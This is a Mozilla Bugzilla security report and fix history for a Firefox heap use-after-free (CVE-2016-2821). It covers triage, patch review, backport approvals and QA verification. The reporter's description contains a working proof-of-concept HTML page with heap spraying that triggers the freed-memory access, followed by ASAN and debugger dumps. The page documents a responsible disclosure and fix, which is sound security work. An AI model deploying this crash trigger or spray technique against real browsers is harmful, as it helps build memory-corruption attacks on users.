Bug 1271460 (CVE-2016-2821)

Heap-use-after-free mozilla::dom::Element::UpdateLinkState

VERIFIED FIXED in Firefox 47
(Needinfo from 2 people)

Status

()

Core
DOM
--
critical
VERIFIED FIXED
a year ago
3 months ago

People

(Reporter: firehack, Assigned: smaug, NeedInfo)

Tracking

(4 keywords)

46 Branch
mozilla49
All
Unspecified
crash, csectype-uaf, sec-high, testcase
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox46 wontfix, firefox47+ verified, firefox48+ verified, firefox49+ verified, firefox-esr4547+ verified)

Details

(Whiteboard: [adv-main47+][adv-esr45.2+] btpp-active, crash signature)

Attachments

(2 attachments)

(Reporter)

Description

a year ago
Run the bellow PoC, allow firefox reload multiple times

=== PoC 

<script>
function delay() {
	var container = new Array()
	var spray_size = 0x80000
	var region_size = 0x80
	for(var i=0; i<spray_size; i++) {
		container[i] = new Array();
		for(var j=0; j<region_size/8; j++)
			container[i][j] = 0x41414141
	}
}
function testcase() {
	document.documentElement.contentEditable="true"
	document.documentElement.style.cssText = 'text-overflow: unset'
	document.documentElement.hidden="false"
	document.documentElement.innerHTML = '<table><tfoot><tr id="BBBB" ><td>'

	delay() // help easier to crash firefox
	document.getSelection().selectAllChildren(document.getElementById('BBBB'))
	
	document.body.remove()
	document.documentElement.style.MozUserModify='read-write'
	document.documentElement.remove()
	
	setTimeout(function(){window.location.reload()},500)
}
</script>
<body onload='testcase();'>


=== ASAN 49 stack trace
==1025==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000411268 at pc 0x7f21b42314ec bp 0x7ffeda8ac3d0 sp 0x7ffeda8ac3c8
READ of size 8 at 0x611000411268 thread T0 (Web Content)
    #0 0x7f21b42314eb in GetElement /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Link.h:89
    #1 0x7f21b42314eb in nsIDocument::FlushPendingLinkUpdates() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:10293
    #2 0x7f21b42fe4c9 in FindMatchingElements<false, AutoTArray<mozilla::dom::Element *, 128>, nsSimpleContentList> /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsINode.cpp:2823
    #3 0x7f21b42fe4c9 in nsINode::QuerySelectorAll(nsAString_internal const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsINode.cpp:2906
    #4 0x7f21b5a6e698 in mozilla::dom::DocumentBinding::querySelectorAll(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:3453
    #5 0x7f21b5ea4495 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/bindings/BindingUtils.cpp:2781
    #6 0x7f21bbb4f689 in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235
    #7 0x7f21bbb4f689 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:480
    #8 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531
    #9 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831
    #10 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426
    #11 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498
    #12 0x7f21bbb501f1 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544
    #13 0x7f21bb907161 in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Wrapper.cpp:163
    #14 0x7f21bb8cea89 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:309
    #15 0x7f21bb8e6523 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Proxy.cpp:399
    #16 0x7f21bb8e8cf2 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/proxy/Proxy.cpp:691
    #17 0x7f21bbb4fa2e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235
    #18 0x7f21bbb4fa2e in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:468
    #19 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531
    #20 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831
    #21 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426
    #22 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498
    #23 0x7f21bbb501f1 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544
    #24 0x7f21bb69385a in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:2864
    #25 0x7f21b2f72fa3 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/xpconnect/src/XPCWrappedJSClass.cpp:1237
    #26 0x7f21b16a9ff1 in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/reflect/xptcall/md/unix/xptcstubs_x86_64_linux.cpp:122
    #27 0x7f21b16a9046 in SharedStub (/home/caonguyen/Fuzzing/firefox/version/firefox/libxul.so+0x17b7046)

0x611000411268 is located 168 bytes inside of 200-byte region [0x6110004111c0,0x611000411288)
freed by thread T0 (Web Content) here:
    #0 0x474f01 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64
    #1 0x7f21b1565858 in SnowWhiteKiller::~SnowWhiteKiller() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2675
    #2 0x7f21b156547e in nsCycleCollector::FreeSnowWhite(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2849
    #3 0x7f21b156b2e1 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3632
    #4 0x7f21b156edcf in nsCycleCollector_collectSlice(js::SliceBudget&, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4157
    #5 0x7f21b430da4a in nsJSContext::RunCycleCollectorSlice() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSEnvironment.cpp:1550
    #6 0x7f21b169e9d5 in nsTimerImpl::Fire() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsTimerImpl.cpp:524
    #7 0x7f21b1678805 in nsTimerEvent::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/TimerThread.cpp:286
    #8 0x7f21b1684b7b in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:991
    #9 0x7f21b16fe90a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290
    #10 0x7f21b240033e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:98
    #11 0x7f21b237795c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233
    #12 0x7f21b237795c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226
    #13 0x7f21b237795c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:206
    #14 0x7f21b7977237 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156
    #15 0x7f21b99777c2 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:802
    #16 0x7f21b237795c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233
    #17 0x7f21b237795c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226
    #18 0x7f21b237795c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:206
    #19 0x7f21b9976ead in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:637
    #20 0x48dca0 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:237
    #21 0x7f21aeec870f in __libc_start_main (/usr/lib/libc.so.6+0x2070f)

previously allocated by thread T0 (Web Content) here:
    #0 0x475101 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
    #1 0x48e2bd in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83
    #2 0x7f21b638cc5d in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:186
    #3 0x7f21b638cc5d in NS_NewHTMLAnchorElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/HTMLAnchorElement.cpp:22
    #4 0x7f21b659db51 in CreateHTMLElement /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/nsHTMLContentSink.cpp:292
    #5 0x7f21b659db51 in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/html/nsHTMLContentSink.cpp:273
    #6 0x7f21b433b6b0 in NS_NewElement(mozilla::dom::Element**, already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsNameSpaceManager.cpp:147
    #7 0x7f21b4223468 in nsDocument::CreateElem(nsAString_internal const&, nsIAtom*, int) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsDocument.cpp:8733
    #8 0x7f21b7ab810c in nsEditor::CreateHTMLContent(nsIAtom*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsEditor.cpp:4578
    #9 0x7f21b7aed7e4 in nsHTMLEditor::CreateAnonymousElement(nsAString_internal const&, nsIDOMNode*, nsAString_internal const&, bool, nsIDOMElement**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLAnonymousUtils.cpp:152
    #10 0x7f21b7afd771 in nsHTMLEditor::ShowInlineTableEditingUI(nsIDOMElement*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLInlineTableEditor.cpp:71
    #11 0x7f21b7af5183 in nsHTMLEditor::CheckSelectionStateForAnonymousButtons(nsISelection*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLAnonymousUtils.cpp:401
    #12 0x7f21b7bf70d8 in ResizerSelectionListener::NotifySelectionChanged(nsIDOMDocument*, nsISelection*, short) /builds/slave/m-cen-l64-asan-000000000000000/build/src/editor/libeditor/nsHTMLObjectResizer.cpp:105
    #13 0x7f21b8559fd4 in mozilla::dom::Selection::NotifySelectionListeners() /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:6031
    #14 0x7f21b855c36f in NotifySelectionListeners /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:2278
    #15 0x7f21b855c36f in EndBatchChanges /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:2267
    #16 0x7f21b855c36f in EndBatchChangesInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:6057
    #17 0x7f21b855c36f in mozilla::dom::SelectionBatcher::~SelectionBatcher() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Selection.h:352
    #18 0x7f21b8572d98 in mozilla::dom::Selection::SelectAllChildren(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/generic/nsSelection.cpp:5610
    #19 0x7f21b5255a1c in mozilla::dom::SelectionBinding::selectAllChildren(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Selection*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/SelectionBinding.cpp:358
    #20 0x7f21b5ea4495 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/bindings/BindingUtils.cpp:2781
    #21 0x7f21bbb4f689 in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235
    #22 0x7f21bbb4f689 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:480
    #23 0x7f21bbb3ed68 in CallFromStack /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:531
    #24 0x7f21bbb3ed68 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2831
    #25 0x7f21bbb2019e in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:426
    #26 0x7f21bbb4fc6f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:498
    #27 0x7f21bbb501f1 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:544
    #28 0x7f21bb695977 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:2926
    #29 0x7f21b59923ad in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259
    #30 0x7f21b6299429 in Call<nsISupports *> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:356
    #31 0x7f21b6299429 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/JSEventHandler.cpp:214
    #32 0x7f21b6264373 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventListenerManager.cpp:1100
    #33 0x7f21b62661c9 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventListenerManager.cpp:1271
    #34 0x7f21b6243a31 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventDispatcher.cpp:379
    #35 0x7f21b6247e4c in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/events/EventDispatcher.cpp:710
    #36 0x7f21b820fb8f in nsDocumentViewer::LoadComplete(nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsDocumentViewer.cpp:995
    #37 0x7f21b8f459bd in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/src/docshell/base/nsDocShell.cpp:7516

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/dom/Link.h:89 GetElement
Shadow bytes around the buggy address:
  0x0c228007a1f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c228007a200: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c228007a210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c228007a220: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c228007a230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c228007a240: fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd
  0x0c228007a250: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c228007a260: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c228007a270: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x0c228007a280: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c228007a290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb=1025==ABORTING
[Parent 779] WARNING: pipe error (51): Connection reset by peer: file /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 313

=== windbg with Firefox 46.0.1
(15c0.da8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0014c628 ebx=0de388f8 ecx=e5e5e5e5 edx=0de388f8 esi=e5e5e5e5 edi=0de38800
eip=562061fd esp=0014c60c ebp=0014c650 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
xul!mozilla::dom::Element::UpdateLinkState:
562061fd 8b5138          mov     edx,dword ptr [ecx+38h] ds:0023:e5e5e61d=????????
0:000> ub @$ra L10
xul!nsIDocument::FlushPendingLinkUpdates+0x24 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsdocument.cpp @ 10187]:
5637ec9a 53              push    ebx
5637ec9b 8d4c2420        lea     ecx,[esp+20h]
5637ec9f e8d2c80e00      call    xul!PLDHashTable::Iterator::Iterator (5646b576)
5637eca4 8b44242c        mov     eax,dword ptr [esp+2Ch]
5637eca8 3b442430        cmp     eax,dword ptr [esp+30h]
5637ecac 742b            je      xul!nsIDocument::FlushPendingLinkUpdates+0x63 (5637ecd9)
5637ecae 8b442428        mov     eax,dword ptr [esp+28h]
5637ecb2 8b4804          mov     ecx,dword ptr [eax+4]
5637ecb5 8d442410        lea     eax,[esp+10h]
5637ecb9 50              push    eax
5637ecba 8b7108          mov     esi,dword ptr [ecx+8]
5637ecbd e81fe7f0ff      call    xul!mozilla::dom::Link::LinkState (5628d3e1)
5637ecc2 8bce            mov     ecx,esi
5637ecc4 ff7004          push    dword ptr [eax+4]
5637ecc7 ff30            push    dword ptr [eax]
5637ecc9 e82f75e8ff      call    xul!mozilla::dom::Element::UpdateLinkState (562061fd)
0:000> dc poi(esp+28+c)
0e7fd440  0d22e00b 0dd7e78c f9d88ae6 0ddfe67c  ..".........|... <=== mov eax,dword ptr [esp+28h] ; eax = 0e7fd440
0e7fd450  00000000 00000000 7381f9ba 0ddfe44c  ...........sL...
0e7fd460  91b437da 0deae0cc a9458082 0dd7e86c  .7........E.l...
0e7fd470  00000000 00000000 f756d0bf 0dd7e8dc  ..........V.....
0e7fd480  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................
0e7fd490  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................
0e7fd4a0  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................
0e7fd4b0  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................
0:000> dc 0dd7e78c
0dd7e78c  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................ <=== mov ecx,dword ptr [eax+4] ; ecx = 0dd7e78c
0dd7e79c  e5e5e5e5 e5e5e5e5 e5e5e5e5 e5e5e5e5  ................
0dd7e7ac  e5e5e5e5 57f92bd0 57f67414 0e54c220  .....+.W.t.W .T.
0dd7e7bc  01900200 0d9903d0 0d6ba3a0 4002000c  ..........k....@
0dd7e7cc  0de916c0 00000000 0e3f40c0 0d6ba3a0  .........@?...k.
0dd7e7dc  0d6ba580 0000000c 0e02e700 00020000  ..k.............
0dd7e7ec  00000400 57f92e04 e5e5e500 57f9302c  .......W....,0.W
0dd7e7fc  57f93078 00000001 00010001 00000001  x0.W............


=== From source code
void
nsIDocument::FlushPendingLinkUpdates()
{
  ...
  for (auto iter = mLinksToUpdate.ConstIter(); !iter.Done(); iter.Next()) {
    Link* link = iter.Get()->GetKey();
    link->GetElement()->UpdateLinkState(link->LinkState());
  }
  ...
}
(Reporter)

Updated

a year ago
Crash Signature: [@ mozilla::dom::Element::UpdateLinkState]
Keywords: crash, sec-critical, testcase
(Reporter)

Comment 1

a year ago
Created attachment 8750507 [details]
Add PoC testcase.html in the report description
Group: firefox-core-security → core-security
Component: Security → DOM
Product: Firefox → Core
Group: core-security → dom-core-security
Flags: sec-bounty?
Keywords: sec-critical → sec-high
(Assignee)

Comment 2

a year ago
Given that I can reproduce this, taking.
Assignee: nobody → bugs
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
(Assignee)

Comment 3

a year ago
(or I can reproduce a crash with the testcase at least.)
(Assignee)

Comment 4

a year ago
Created attachment 8750889 [details] [diff] [review]
patch

Ensure that unbind (called by nsHTMLEditor::DeleteRefToAnonymousNode) is called on NAC even if there is no bodyContent anymore.

Without the patch one gets assertions like
[16621] ###!!! ASSERTION: Please remove this from the document properly: '!IsInUncomposedDoc()', file dom/base/FragmentOrElement.cpp, line 646
Assertion failure: mSubtreeRoot == this (Didn't restore state properly?), at dom/base/nsINode.cpp:151

The patch is the absolute minimal to fix the issue. I see other, non-sec-sensitive issues in nsHTMLEditor::DeleteRefToAnonymousNode, and will file a followup bug.

The buggy editor code here is old, from Wed Jun 25 08:50:36 2003 UTC (12 years, 10 months ago), 
and the UnbindFromTree in HTMLAnchorElement relying on the sane behavior is also old, Wed Aug 10 20:21:42 2005 UTC (10 years, 9 months ago)
Attachment #8750889 - Flags: review?(ehsan)
Whiteboard: btpp-active
(Assignee)

Comment 5

a year ago
ehsan, if you don't have time to review this, could you forward to bz or someone.
Flags: needinfo?(ehsan)
Sorry for the delay, reviewing now...
Flags: needinfo?(ehsan)
Comment on attachment 8750889 [details] [diff] [review]
patch

Review of attachment 8750889 [details] [diff] [review]:
-----------------------------------------------------------------

Wow, how did we not catch this before?  :(
Attachment #8750889 - Flags: review?(ehsan) → review+
Jesse, does your DOM fuzzer examine table editing UI at all?  I can't believe that the fuzzer has not managed to catch this so far.
Flags: needinfo?(jruderman)
(Assignee)

Comment 9

a year ago
Comment on attachment 8750889 [details] [diff] [review]
patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Some crash might be quite easily constructed, but not sure about exploit.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Commit message could be:
"Bug 1271460, don't leak editor created element objects, r=ehsan"

Which older supported branches are affected by this flaw?
all

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
just tested beta and the patch applies cleanly there.

How likely is this patch to cause regressions; how much testing does it need?
very unlikely to cause regressions.
Attachment #8750889 - Flags: sec-approval?
Attachment #8750889 - Flags: approval-mozilla-esr45?
Attachment #8750889 - Flags: approval-mozilla-beta?
Attachment #8750889 - Flags: approval-mozilla-aurora?
Comment on attachment 8750889 [details] [diff] [review]
patch

giving sec-approval+ and aurora approval. I'll leave it to release management to approve beta and esr45 but we should take it there too.
Attachment #8750889 - Flags: sec-approval?
Attachment #8750889 - Flags: sec-approval+
Attachment #8750889 - Flags: approval-mozilla-aurora?
Attachment #8750889 - Flags: approval-mozilla-aurora+
status-firefox46: --- → wontfix
status-firefox47: --- → affected
status-firefox48: --- → affected
status-firefox49: --- → affected
status-firefox-esr45: --- → affected
tracking-firefox47: --- → ?
tracking-firefox48: --- → +
tracking-firefox49: --- → +
tracking-firefox-esr45: --- → ?
(Assignee)

Comment 11

a year ago
https://hg.mozilla.org/integration/mozilla-inbound/rev/009736e264b46b6284ae49f97e6e2b420532537d
https://hg.mozilla.org/mozilla-central/rev/009736e264b4
Status: ASSIGNED → RESOLVED
Last Resolved: a year ago
status-firefox49: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla49

Updated

a year ago
tracking-firefox47: ? → +
Comment on attachment 8750889 [details] [diff] [review]
patch

Sec-high, Beta47+, ESR45+
Attachment #8750889 - Flags: approval-mozilla-esr45?
Attachment #8750889 - Flags: approval-mozilla-esr45+
Attachment #8750889 - Flags: approval-mozilla-beta?
Attachment #8750889 - Flags: approval-mozilla-beta+

Updated

a year ago
tracking-firefox-esr45: ? → 47+
Flags: sec-bounty? → sec-bounty+
https://hg.mozilla.org/releases/mozilla-aurora/rev/5d6b894490f2
https://hg.mozilla.org/releases/mozilla-beta/rev/540f2f4ad66c
https://hg.mozilla.org/releases/mozilla-esr45/rev/7aea44059251fc8a61bf2abf51fdf0a9afd2ecd6
status-firefox47: affected → fixed
status-firefox48: affected → fixed
status-firefox-esr45: affected → fixed
Group: core-security-release
Group: dom-core-security
Flags: qe-verify+
Whiteboard: btpp-active → [adv-main47+][adv-esr45.2+] btpp-active
Reproduced the initial crash on Ubuntu 14.04 64bit using old Nightly asan build from 2016-05-09.
Verified that using Firefox 47beta9, latest Developer Edition 48.0a2, latest Nightly 49.0a1 and preESR build 45.1.2 on Windows 7 64bit and Mac OS X 10.10.5, also Firefox 47 beta Asan, Latest DevEdition Asan, latest Nightly Asan and preESR Asan builds on Ubuntu 14.04 64bit the crash does not reproduce anymore.
Status: RESOLVED → VERIFIED
status-firefox47: fixed → verified
status-firefox48: fixed → verified
status-firefox49: fixed → verified
status-firefox-esr45: fixed → verified
Flags: qe-verify+
Alias: CVE-2016-2821
(In reply to :Ehsan Akhgari (busy, don't ask for review please) from comment #8)
> Jesse, does your DOM fuzzer examine table editing UI at all?  I can't
> believe that the fuzzer has not managed to catch this so far.

Is this the same underlying cause of bug 718282 ?  Possibly Jesse put that assertion on an "ignore list" until that bug got fixed so he didn't file a lot of duplicates.
Flags: needinfo?(ehsan)
... or not -- I see he filed 4 other bugs with that assertion that got fixed in different ways (and two "worksforme", presumably fixed by code changes elsewhere). Same assertion could be completely unrelated.
Group: core-security-release
Keywords: csectype-uaf
You need to log in before you can comment on or make changes to this bug.